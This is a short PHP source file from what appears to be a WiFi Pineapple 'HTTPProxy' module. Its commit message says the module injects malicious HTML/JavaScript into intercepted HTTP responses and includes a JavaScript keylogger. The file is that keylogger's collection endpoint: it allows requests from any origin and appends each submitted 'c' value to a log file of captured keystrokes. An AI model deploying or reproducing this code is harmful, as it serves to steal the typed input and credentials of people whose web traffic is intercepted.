malduhaymi d613645576 HTTPProxy Module (#1)
HTTPProxy will allow you to intercept the HTTP response and injection a malicious HTML/JavaScript code, also it has a keylogger written in JavaScript which allows the attacker to log the user inputs
2017-11-20 07:49:08 +11:00

16 lines
511 B
PHP

<?php
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');
$file = '/pineapple/modules/HTTPProxy/assets/keylogger/dataKeyLogger.txt';
if(isset($_REQUEST['c']) && !empty($_REQUEST['c']))
{
file_put_contents($file, $_REQUEST['c'], FILE_APPEND);
// $key= fopen($file , "w") ;
// $out=fwrite($key, $_REQUEST['c']);
// fclose($key);
}
?>